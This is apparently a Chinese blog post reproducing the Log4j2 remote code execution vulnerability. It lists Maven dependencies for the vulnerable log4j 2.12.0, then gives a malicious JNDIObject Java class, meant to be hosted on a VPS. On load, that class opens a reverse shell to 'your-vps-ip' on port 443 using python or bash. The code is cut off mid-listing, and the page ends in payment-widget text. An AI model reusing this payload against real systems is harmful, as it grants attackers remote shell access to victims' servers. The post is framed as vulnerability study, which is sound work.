Log4j2_RCE漏洞

本文详细介绍了Log4j2远程代码执行(RCE)漏洞的复现过程,包括如何利用该漏洞反弹shell。接着分析了官方发布的2.15.0-rc1修复版本,并展示了如何通过特定方式绕过修复。最后讨论了RC2版本的修复措施。文章提供了漏洞利用的关键代码和修复绕过的技巧,对于理解Log4j2漏洞和安全防护具有重要意义。
摘要由CSDN通过智能技术生成

Log4j2_RCE漏洞

前端时间爆出的Log4j2_RCE漏洞可谓是让安全圈提前过年,今天来复现和简单分析下这个漏洞!

漏洞复现

IDEA创建一个web项目,导入如下依赖

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.12.0</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.12.0</version>
    </dependency>
</dependencies>

编写恶意类放到 vps 上

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
   
    static {
   
        try{
   
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
   
                String[] py_envs = new String[]{
   "/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
   
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
   
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
   
                    if ((new File("/bin/bash")).exists()) {
   
                        cmd = new String[]{
   py_path, 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值